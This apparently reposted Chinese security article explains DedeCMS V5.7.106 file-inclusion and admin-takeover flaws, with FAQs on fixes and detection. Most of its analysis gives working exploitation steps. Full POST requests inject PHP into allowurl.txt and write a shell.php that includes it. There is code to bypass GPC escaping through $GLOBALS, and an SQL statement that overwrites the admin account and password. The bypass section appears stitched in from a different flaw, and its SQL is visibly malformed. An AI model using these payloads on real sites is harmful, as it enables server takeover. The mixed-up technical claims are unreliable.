DedeCMS(织梦CMS)是一个广泛使用的内容管理系统,但近期发现其最新版本存在严重的安全漏洞,本文将详细介绍这些漏洞及其利用方法,并提供相关的FAQs解答。
漏洞背景
DedeCMS V5.7.106版本被发现存在文件包含漏洞,攻击者可以通过该漏洞获取目标服务器的控制权限,此漏洞主要存在于uploads/dede/article_allowurl_edit.php
文件中,该文件缺少对写入内容的过滤,导致代码注入和任意文件包含的可能性。
漏洞分析
2.1 文件包含漏洞
在DedeCMS的后台,攻击者可以通过编辑文章时插入恶意代码来触发文件包含漏洞,具体步骤如下:
访问后台:登录DedeCMS后台,进入内容管理界面。
插入恶意代码:在编辑文章时,插入以下PHP代码:
<?php phpinfo(); ?>
保存并查看效果:保存文章后,通过访问/data/admin/allowurl.txt
文件,可以看到插入的恶意代码已被执行。
2.2 getshell操作
通过文件包含漏洞,攻击者可以进一步利用文件上传功能来getshell,具体步骤如下:
构造文件包含请求:通过提交包含恶意代码的数据包,触发文件包含漏洞,数据包示例如下:
POST /dede/article_allowurl_edit.php HTTP/1.1 ... dopost=save&allurls=www.dedecms.com%0D%0Awww.desdev.cn%0D%0Abbs.dedecms.com%0D%0A%3C%3Fphp+phpinfo()%3B%3F%3E
查看文件内容:返回的响应中会包含allowurl.txt
,证明恶意代码已成功写入。
构造文件包含代码:通过访问/dede/file_manage_control.php
文件,构造文件包含代码,示例如下:
POST /dede/file_manage_control.php HTTP/1.1 ... fmdo=edit&backurl=&token=&activepath=&filename=shell.php&str=<?php Include_once("./data/admin/allowurl.txt"); ?>&B1=++%E4%BF%9D+%E5%AD%98++
验证getshell:访问根目录下的shell.php
文件,如果能够解析并执行PHP代码,则说明成功getshell。
绕过防御机制
3.1 绕过GPC转义
DedeCMS的漏洞无视GPC转义,并且能够绕过80sec注入防御,这主要通过全局变量$GLOBALS
的任意修改实现,在include/dedesql.class.php
文件中,通过以下代码可以绕过防御:
设置全局变量:
if(isset($GLOBALS['arrs1'])) { $v1 = ''; for($i=0; isset($arrs1[$i]); $i++) { $v1 .= chr($arrs1[$i]); } $GLOBALS[$v1] .= '恶意代码'; }
构造SQL语句:通过提交包含恶意代码的ASCII编码数据包,可以绕过防御机制。
UPDATEdede_admin
SETuserid
='spider',pwd
='f297a57a5a743894a0e4' where id=1 #
FAQs
Q1: DedeCMS漏洞影响哪些版本?
A1: 目前已知受影响的版本是DedeCMS V5.7.106,其他版本可能也受到影响,建议用户检查并更新到最新版本。
Q2: 如何修复DedeCMS的文件包含漏洞?
A2: 修复方法包括:
1、过滤:在article_allowurl_edit.php
文件中添加内容过滤机制,确保写入文件的内容经过严格过滤。
2、权限控制:限制对敏感文件和目录的访问权限,防止未经授权的用户进行操作。
3、更新补丁:关注官方发布的安全补丁,及时应用补丁修复漏洞。
Q3: 如何检测网站是否受到DedeCMS漏洞的影响?
A3: 可以通过以下方法检测:
1、日志分析:检查服务器日志,寻找异常的请求和响应记录。
2、文件检查:检查网站根目录下是否存在可疑文件或被修改的文件。
3、安全扫描:使用安全扫描工具对网站进行全面扫描,发现潜在的安全风险。
DedeCMS的最新版本存在严重的文件包含和任意管理员漏洞,攻击者可以利用这些漏洞获取服务器的控制权限,通过详细的漏洞分析和利用方法,以及提供的安全建议,可以帮助网站管理员及时发现和修复安全隐患,保障网站的安全性。
原创文章,作者:未希,如若转载,请注明出处:https://www.kdun.com/ask/1202892.html
本网站发布或转载的文章及图片均来自网络,其原创性以及文中表达的观点和判断不代表本网站。如有问题,请联系客服处理。
发表回复